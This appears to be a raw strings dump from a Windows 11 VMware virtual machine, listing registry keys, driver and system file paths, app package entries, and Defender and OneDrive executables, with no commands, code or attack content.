\??\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000_ HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000_ HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000_ \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} D:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;%s) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\usbhub \Device\INTELPRO_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000_ HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000_ \??\Volume{09356ede-049e-47ae-a633-d74a19c1028b} HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000_ windows.storage.dll HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000_ \??\Volume{09356ede-049e-47ae-a633-d74a19c1028b} Microsoft Windows Hardware Compatibility Publisher Microsoft YaHei UI ACPI#ACPI0003#1#{f76c6c62-7dea-43cd-8689-d9a4af3d8557} \REGISTRY\MACHINE\BCD00000000\Description ROOT#SYSTEM#0000#{4747b320-62ce-11cf-a5d6-28db04c10000} ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196} ROOT#SYSTEM#0000#{0a4252a0-7e70-11d0-a5d6-28db04c10000} ROOT#SYSTEM#0000#{cf1dda2c-9743-11d0-a3ee-00a0c9223196} Microsoft YaHei UI ROOT#SYSTEM#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e} \REGISTRY\MACHINE\BCD00000000\Description ACPI#VMW0001#7#{3ff2c92b-6598-4e60-8e1c-0ccf4927e319} \REGISTRY\MACHINE\BCD00000000\Description \REGISTRY\MACHINE\BCD00000000\Description \??\Volume{67e8be4f-0ec0-11f1-b1f7-806e6f6e6963} USB Root Hub (USB 3.0) (USB\ROOT_HUB30\5&11106705&0&0) Y\MACHINE\SYSTEM\ControlSet001\Control\Class trolSet001\Services\monitor Microsoft Windows Hardware Compatibility Publisher Audio Device on High Definition Audio Bus Program Files (x86) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\monitor NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft Windows Hardware Compatibility Publisher Microsoft Windows Hardware Compatibility Publisher DISPLAY\Default_Monitor\4&427137e&0&UID0 \Device\HarddiskVolume3\Windows\explorer.exe .ldb \Device\HarddiskVolume3\Windows\splwow64.exe 0F00 \??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} 00000009 00010006000e0000 000a0000585d0000 8664 Microsoft.WidgetsPlatformRuntime 8wekyb3d8bbwe 00000009 0001009700000000 0000000000000000 8664 Microsoft.StartExperiencesApp 8wekyb3d8bbwe 00000009 000c008209ce1773 000a00004a610000 8664 Microsoft.XboxIdentityProvider 8wekyb3d8bbwe C:\Users\job\AppData\Local\Temp\{CA0D899F-C5C7-4C11-BEF9-83625FEF2C51}~setup\vcredist_x86.exe C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe 0000000b 009100000ed80041 0000000000000000 8664 Microsoft.MicrosoftEdge.Stable 8wekyb3d8bbwe C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\MicrosoftEdgeUpdateComRegisterShell64.exe 00000009 1770020701490000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.6 8wekyb3d8bbwe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe 00000000 1770020701490000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.6 8wekyb3d8bbwe 00000000 1389017506c80000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.5 8wekyb3d8bbwe 00000009 000701451c350000 000a0000671c0000 8664 Microsoft.XboxGamingOverlay 8wekyb3d8bbwe 00000009 00010012283d0000 0000000000000000 8664 Microsoft.WindowsTerminal 8wekyb3d8bbwe 00000009 000107ea00d2012c 0000000000000000 8664 Microsoft.OutlookForWindows 8wekyb3d8bbwe 00000009 1b58030202ee0000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.7 8wekyb3d8bbwe 00000000 1b58030202ee0000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.7 8wekyb3d8bbwe C:\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Application C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Application 00000009 1f40030203b30000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.8 8wekyb3d8bbwe 00000009 00010001002f0000 000a000065f40000 8664 Microsoft.WindowsSoundRecorder 8wekyb3d8bbwe 0000000b 009100000ed80041 000a000055f00000 8664 Microsoft.MicrosoftEdge.Stable 8wekyb3d8bbwe 00000009 00010012283d0000 000a0000585d0000 8664 Microsoft.WindowsTerminal 8wekyb3d8bbwe C:\Users\job\AppData\Local\Microsoft\OneDrive\25.087.0506.0001_1\Microsoft.SharePoint.exe 00000009 000061e6001c0000 0000000000000000 8664 MicrosoftWindows.CrossDevice cw5n1h2txyewy 00000009 000107ea00d2012c 000a000066720000 8664 Microsoft.OutlookForWindows 8wekyb3d8bbwe 00000009 000061e6001c0000 000a0000585d0000 8664 MicrosoftWindows.CrossDevice cw5n1h2txyewy C:\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\Application 00000009 1389017506c80000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.5 8wekyb3d8bbwe 00000009 0001000600020000 000a0000585d0000 8664 Microsoft.WidgetsPlatformRuntime 8wekyb3d8bbwe 00000009 000701451c350000 0000000000000000 8664 Microsoft.XboxGamingOverlay 8wekyb3d8bbwe C:\Users\job\AppData\Local\Temp\{CA0D899F-C5C7-4C11-BEF9-83625FEF2C51}~setup\vcredist_x64.exe 00000000 1f40030203b30000 000c000000000000 8664 Microsoft.WindowsAppRuntime.1.8 8wekyb3d8bbwe 00000009 0001009700000000 000a0000585d0000 8664 Microsoft.StartExperiencesApp 8wekyb3d8bbwe 00000009 00010006000e0000 0000000000000000 8664 Microsoft.WidgetsPlatformRuntime 8wekyb3d8bbwe C:\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDrive.Sync.Service.exe \Device\HarddiskVolume3\Windows\System32\drivers\stornvme.sys \Device\HarddiskVolume3\Windows\System32\drivers\en-US \Device\HarddiskVolume3\$Secure:$SDS \Device\HarddiskVolume3\Windows\System32\drivers\dumpfve.sys \Device\HarddiskVolume3\ProgramData\Microsoft\MF\Active.GRL \Device\HarddiskVolume3\Windows\System32\vertdll.dll \Device\HarddiskVolume3\ProgramData \Device\HarddiskVolume3\Windows\System32\drivers\crashdmp.sys \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\ntdll.dll \Device\HarddiskVolume3\Windows\System32\vertdll.dll \Device\HarddiskVolume3\Windows\SysWOW64\ntdll.dll \Device\HarddiskVolume3\Windows\System32\drivers\stornvme.sys \Device\HarddiskVolume3\Windows\System32\drivers \Device\HarddiskVolume3\Windows\System32\drivers\dumpfve.sys \Device\HarddiskVolume3\Windows\System32\wbem\wmiprov.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\ProgramData\Microsoft \Device\HarddiskVolume3\Windows\System32\drivers\cdrom.sys \Device\HarddiskVolume3\Windows\SysWOW64 \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\drivers\crashdmp.sys StdCloseDocument \SystemRoot\System32\Drivers\crashdmp.sys MACHINE\SYSTEM\ControlSet001\Services\UCPD MACHINE\SYSTEM\ControlSet001\Services\UCPD\DR SOFTWARE\Microsoft\Windows\CurrentVersion\NandI MACHINE\SYSTEM\ControlSet002\Services\UCPD\DR \SystemRoot\system32\drivers\filecrypt.sys \WindowsApps\\ 2010 MSGRL SOFTWARE\Microsoft\Windows\CurrentVersion\Feeds \Windows\System32\drivers\Dumpstorport.sys MACHINE\SYSTEM\ControlSet002\Services\UCPD Windows Tasks ontrol\Class\{4d36e96e-e325-11ce-bfc1-08002be10318}\0000 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat::$ATTRIBUTE_LIST winlogon wininit Fonts \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\MANIFEST-000026 onStore.dat.LOG1 kgdep \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat:WofCompressedData ntdll.dll filecrypt.sys \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4.dat kgdep vmrawdsk.sys \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat stornvme.sys \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Windows\System32\drivers\netbt.sys JLTR \Windows\System32\drivers\ws2ifsl.sys \Windows\System32\drivers\beep.sys Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice \Windows\System32\drivers\msfs.sys Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice HJTR \Windows\System32\drivers\afunix.sys sl.sys \Windows\System32\drivers\UCPD.sys \Windows\System32\drivers\tbs.sys \Windows\System32\drivers\filecrypt.sys Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\UserChoice \Windows\System32\drivers\npfs.sys \Windows\System32\drivers\vmrawdsk.sys \Windows\System32\drivers\null.sys \Windows\System32\drivers\tdx.sys \Windows\System32\DriverStore\FileRepository\uiomap.inf_amd64_f5d5465d1731583d FHtr \Windows\System32\drivers\cimfs.sys tbs.sys \WpSystem\\AppData\Local\Packages\\RoamingState\ \Windows\System32\drivers\tdi.sys \SystemRoot\system32\DRIVERS\vmrawdsk.sys Microsoft Windows Third Party Component CA 2012 \FileSystem\Msfs StdNewfromTemplate \Windows\System32\DriverStore\FileRepository CortanaUI Microsof Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy en-US en-US en-AU en-CA en-GB en-HK en-IE en-NZ en-SG ar-SA pt-BR zh-TW zh-CN zh-HK zh-SG cs-CZ da-DK el-GR es-AR es-CL es-CO es-ES es-MX es-US fi-FI fr-BE fr-CA fr-CH fr-FR de-AT de-CH de-DE he-IL hu-HU it-IT ja-JP ko-KR nl-BE nl-NL nb-NO pl-PL pt-PT ru-RU sv-SE tr-TR bg-BG hr-HR et-EE lv-LV lt-LT ro-RO sr-Latn-CS sr-Latn-RS sk-SK sl-SI th-TH uk-UA fy-NL qps-ploc qps-plocm qps-Latn-x-sh api-ms-w UCPD.sys Microsoft \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\000029.ldb e-real-index .cat beep.sys Dumpstorport.sys SysWOW64 MpCmdRun.exe CatRoot SubC tbs.sys SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000A C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll basicrender.inf_amd64_be4cb8d455d1ca0d &{F750E6C3-38EE-11D1-85E5-00C04FC295EE} basicdisplay.inf_amd64_2753efdbb0d9a226 SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 \WpSystem\\AppData\Local\Packages\\AppData\ \WpSystem\\AppData\Local\Packages\\LocalState\ \WpSystem\\AppData\Local\Packages\\LocalCache\ ice\HarddiskVolume3\System V uiomap.inf_amd64_f5d5465d1731583dt \WpSystem\\AppData\Local\Packages\\TempState\ C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Application \WpSystem\\AppData\Local\Packages\\Settings\ TSA://ProcUnique SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\DeviceRegion \SystemRoot\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_2753efdbb0d9a226\BasicDisplay.sys D:PAI(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;FA;;;BU)(A;OICIIO;SDGXGWGR;;;AU)(A;;LC;;;AU)S:P(ML;OINPIO;NW;;;HI) SubC vwififlt.sys SubC VMware WinSxS c18edcc8-9651-b9ee-cf7b-2b04b364fe66 evice\ MS Serif evice\ MS Serif ssembl MS Serif MSCTFIME UI msctf.dll P<7146fd98-803c-4fcc-a4c9-bf7fd02ea19a.tmp \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat tdx.sys \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_80240018_d1bce6b9494efaabd66c17c49c7e52e8f2e70d0_00000000_37b5b25e-ba68-40ed-94f9-3f47f51ccced 6166 kmpdc.sys wbem \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData Vid.sys umpdc.dll SubC ndiscap.sys \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat::$ATTRIBUTE_LIST Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat Microsoft-Windows-CoreSystem-GenericDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\basicrender.inf_amd64_be4cb8d455d1ca0d\BasicRender.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\basicrender.inf_amd64_be4cb8d455d1ca0d\BasicRender.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_2753efdbb0d9a226\BasicDisplay.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\compositebus.inf_amd64_8cf6fa9d3afdfa25\CompositeBus.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_2753efdbb0d9a226\BasicDisplay.sys Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat Microsoft-OneCore-Graphics-BasicDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData msfs.sys SubC \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Subresource Filter\Unindexed Rules\10.34.0.81 6100.1150.cat afd.sys \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_1 oobe Program Files \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\drivers\vwififlt.sys \Device\HarddiskVolume3\Windows\System32\drivers\ws2ifsl.sys \Device\HarddiskVolume3\Windows\System32\drivers\tdx.sys \Device\HarddiskVolume3\Windows\System32\drivers\tdx.sys \Device\HarddiskVolume3\Windows\System32\drivers\tdi.sys \Device\HarddiskVolume3\Windows\System32\drivers\netbt.sys \Device\HarddiskVolume3\Windows\System32\drivers\mssmbios.sys \Device\HarddiskVolume3\Windows\System32\drivers\cimfs.sys \Device\HarddiskVolume3\Windows\System32\drivers\ws2ifsl.sys \Device\HarddiskVolume3\Windows\System32\drivers\vwififlt.sys \Device\HarddiskVolume3\Windows\System32\drivers\cimfs.sys \Device\HarddiskVolume3\Windows\System32\drivers\afunix.sys \Device\HarddiskVolume3\Windows\System32\drivers\afd.sys \Device\HarddiskVolume3\Windows\System32\drivers\afunix.sys \Device\HarddiskVolume3\Windows\System32\drivers\msfs.sys \Device\HarddiskVolume3\Windows\System32\drivers\netbt.sys \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\drivers\msfs.sys \Device\HarddiskVolume3\Windows\System32\drivers\afd.sys \Device\HarddiskVolume3\Windows\System32\drivers\tdi.sys t001\S \SystemRoot\system32\drivers\ws2ifsl.sys \SystemRoot\system32\drivers\netbios.sys \SystemRoot\System32\drivers\ndiscap.sys \SystemRoot\System32\drivers\vwififlt.sys \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ExperienceExtensions.dll:WofCompressedData AAF318669C} powrprof.dll SUUT mssmbios.sys \Device\Tdx AfdTdxCallback \Device\Tcp ndiscap.sys \Device\Tdx ws2ifsl.sys DfsClient netbios.sys netbt.sys rdbss.sys \Device\FsWrap afunix.sys \SystemRoot\CSC \Program Files \Device\Mup\;Csc NameResTrk pacer.sys \Device\ahcache \Device\Nsi LSARPC_ENDPOINT npsvctrig.sys npsvctrig vwififlt.sys ahcache.sys nsiproxy.sys Pacer Flow \Device\Psched Pacer Pipe \SystemRoot\System32\Drivers\dfsc.sys \SystemRoot\system32\DRIVERS\rdbss.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\ndiscap.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\kmpdc.sys \SystemRoot\system32\drivers\bam.sys \Windows\System32\drivers\afunix.sys \Windows\System32\drivers\pacer.sys \Windows\System32\drivers\tdi.sys Microsoft Windows Production PCA 2011 \SystemRoot\system32\drivers\afunix.sys \SystemRoot\System32\DRIVERS\netbt.sys \SystemRoot\System32\drivers\winhvr.sys Microsoft Windows Production PCA 2011 Microsoft-Windows-Security-Auditing C:\WINDOWS\system32\MpSigStub.exe \Windows\System32\drivers\netbios.sys \Windows\System32\drivers\nsiproxy.sys \SystemRoot\system32\DRIVERS\TDI.SYS Microsoft Windows Production PCA 2011 \Windows\System32\drivers\mssmbios.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 C:\WINDOWS\SysWOW64\rundll32.exe Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 \Windows\System32\drivers\winhvr.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\Vid.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\npsvctrig.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\netbt.sys \Windows\System32\drivers\bam.sys C:\WINDOWS\system32\verclsid.exe C:\WINDOWS\system32\Sysprep\sysprep.exe Microsoft Windows Production PCA 2011 \Windows\System32\drivers\rdbss.sys \Windows\System32\drivers\dfsc.sys \SystemRoot\System32\drivers\Vid.sys Microsoft Windows Production PCA 2011 \SystemRoot\System32\drivers\pacer.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\ws2ifsl.sys \Driver\AFD Microsoft Windows Production PCA 2011 \Windows\System32\drivers\vwififlt.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 \Windows\System32\drivers\csc.sys \SystemRoot\system32\drivers\afd.sys \Windows\System32\drivers\dam.sys \SystemRoot\system32\drivers\csc.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\afd.sys \Windows\System32\drivers\ahcache.sys x.sys C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe Microsoft Windows Production PCA 2011 \Device\HarddiskVolume3\Windows\System32\csrss.exe *.doc;*.xls;*.ppt;*.vsd;*.tmp;*.pps;*.msi;*.mst;*.dot;*.opt;*.mpp;*.dts;*.vsmacros;*.mso;*.suo;*.msg;*.est;rce \Windows\System32\drivers\netbios.sys BDTR \Windows\System32\drivers\csc.sys rsions \Windows\System32\drivers\vwififlt.sys HJTR \Windows\System32\drivers\winhvr.sys okup \Windows\System32\drivers\ndiscap.sys \Windows\System32\drivers\pacer.sys BDTR \Windows\System32\drivers\Vid.sys ififlt.sys FHTR \Windows\System32\drivers\rdbss.sys \Device\HarddiskVolume3\Windows\System32\drivers\csc.sys \Device\HarddiskVolume3\Windows\System32\drivers\npsvctrig.sys \Device\HarddiskVolume3\Windows\System32\drivers\rdbss.sys \Device\HarddiskVolume3\Windows\System32\drivers\pacer.sys \Device\HarddiskVolume3\Windows\System32\drivers\netbios.sys \Device\HarddiskVolume3\Windows\System32\drivers\nsiproxy.sys \Device\HarddiskVolume3\Windows\System32\drivers\winhvr.sys \Device\HarddiskVolume3\Windows\System32\drivers\npsvctrig.sys \Device\HarddiskVolume3\Windows\System32\drivers\Vid.sys \Device\HarddiskVolume3\Windows\System32\drivers\ndiscap.sys \Device\HarddiskVolume3\Windows\System32\drivers\csc.sys \Device\HarddiskVolume3\Windows\System32\drivers\Vid.sys \Device\HarddiskVolume3\Windows\System32\drivers\pacer.sys \Device\HarddiskVolume3\Windows\System32\drivers\ndiscap.sys \Device\HarddiskVolume3\Windows\System32\drivers\winhvr.sys \Device\HarddiskVolume3\Windows\System32\drivers\netbios.sys \Device\HarddiskVolume3\Windows\System32\drivers\rdbss.sys \Device\HarddiskVolume3\Windows\System32\drivers\nsiproxy.sys et001\S DWM.exe Event mmc.exe osk.exe Device File Desktop PO Burst WscVReg Mutant Winlogon \$Volume awt.dll Channel afunix.sys \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\cache\index-dir\the-real-index .cat pacer.sys winhvr.sys ahcache.sys wininit.exe.mui wininitext.dll SubC netbios.sys C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\Application C:\WINDOWS\system32\speech_onecore\common\SpeechModelDownload.exe TSA://ProcUnique C:\Users\job\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NdisVirtualBus \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\intelppm \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmusbmouse\Parameters swenum.inf_amd64_8b9dd76f362e3ec6 SubC user32.dll.mui \SystemRoot\System32\drivers\monitor.sys DISPLAY\Default_Monitor\4&427137e&0&UID0_ SIGN.MEDIA=759E33E VMwareToolsUpgrader.exe luid_0x00000000_0x0000AB2A_phys_0_part_0 \FileSystem\Dfsc C:\WINDOWS\system32\UIEOrchestratorStub.exe DISPLAY\Default_Monitor\4&427137e&0&UID0_ \\?\C:\Windows\System32\SecurityHealthHost.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \FileSystem\rdbss \SystemRoot\System32\drivers\npsvctrig.sys \SystemRoot\System32\drivers\mssmbios.sys \SystemRoot\system32\drivers\nsiproxy.sys \SystemRoot\system32\DRIVERS\ahcache.sys C:\Windows\System32\oobe\UserOOBEBroker.exe \SystemRoot\System32\drivers\dxgmms2.sys C:\WINDOWS\system32\SecurityHealthService.exe \Windows\System32\drivers\mssmbios.sys \Windows\System32\drivers\nsiproxy.sys \Device\HarddiskVolume3\Windows\System32\config\DEFAULT C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssmbios \Windows\System32\drivers\i8042prt.sys C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe C:\WINDOWS\uus\packages\preview\AMD64\MoNotificationUx.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\umbus \Windows\System32\C_1252.NLS C:\Program Files\Common Files\VMware\Drivers\vss\comreg.exe C:\WINDOWS\SoftwareDistribution\Download\Install\MpSigStub.exe \Windows\System32\drivers\npsvctrig.sys C:\WINDOWS\uus\packages\preview\AMD64\MoUsoCoreWorker.exe CASCADIA CODE EXTRALIGHT Path=C:\WINDOWS\System32 SystemDrive=C: SystemRoot=C:\WINDOWS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe \Windows\System32\config\DEFAULT.LOG1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe \Windows\System32\drivers\csc.sys C:\WINDOWS\uus\packages\preview\AMD64\UIEOrchestrator.exe \Device\HarddiskVolume3\Windows\System32\config\SAM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001 \Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394software \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BasicDisplay C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe \Device\HarddiskVolume3\Windows\System32\smss.exe \Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394user_sid C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe \Windows\System32\config\SECURITY.LOG2 \Windows\System32\config\SAM.LOG2 C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe \registry\user\S-1-5-21-3914889805-4071901059-918772286-1001 C:\Program Files\VMware\VMware Tools\VMwareResolutionSet.exe \Windows\System32\config\SAM.LOG1 \Windows\System32\config\SECURITY.LOG1 \Windows\System32\config\DEFAULT \Windows\System32\drivers\ahcache.sys \Windows\System32\drivers\dfsc.sys \Windows\System32\l_intl.nls SubC dam.sys C_437.NLS CompositeBus.sys C_1252.NLS C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe C:\WINDOWS\SystemTemp\2DF92532-BD07-4F6C-BFB2-9EC77E12E4BBMpCommU\mpam-fe.exe \Windows\System32\drivers\dfsc.sys C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe C:\WINDOWS\SystemTemp\7C0937C3-8A83-485B-92A4-FE1B92494BCB\MpRecovery.exe \Windows\System32\drivers\npsvctrig.sys C:\Users\job\AppData\Local\Microsoft\OneDrive\25.087.0506.0001_1\FileCoAuth.exe \Device\HarddiskVolume3\Windows\System32\OneCoreCommonProxyStub.dll C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe \Windows\System32\drivers\kmpdc.sys C:\WINDOWS\SoftwareDistribution\Download\Install\SecurityHealthSetup.exe C:\WINDOWS\SystemTemp\69625F7A-7533-4B6B-A807-42A5C69B5118\MpSigStub.exe \\?\C:\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\DfsClient C:\WINDOWS\SystemTemp\7C0937C3-8A83-485B-92A4-FE1B92494BCB\MpSigStub.exe C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe \Windows\System32\drivers\dam.sys \Windows\System32\drivers\nsiproxy.sys 00000009 000b09cf01230000 000a000066720000 8664 Microsoft.Paint 8wekyb3d8bbwe \Windows\System32\drivers\ahcache.sys MicrosoftWindows.Client.OOBE_cw5n1h2txyewy \Windows\System32\drivers\mssmbios.sys C:\WINDOWS\SoftwareDistribution\Download\Install\AM_Delta_Patch_1.445.172.0.exe \Windows\System32\drivers\bam.sys C:\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.sys er.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.sys 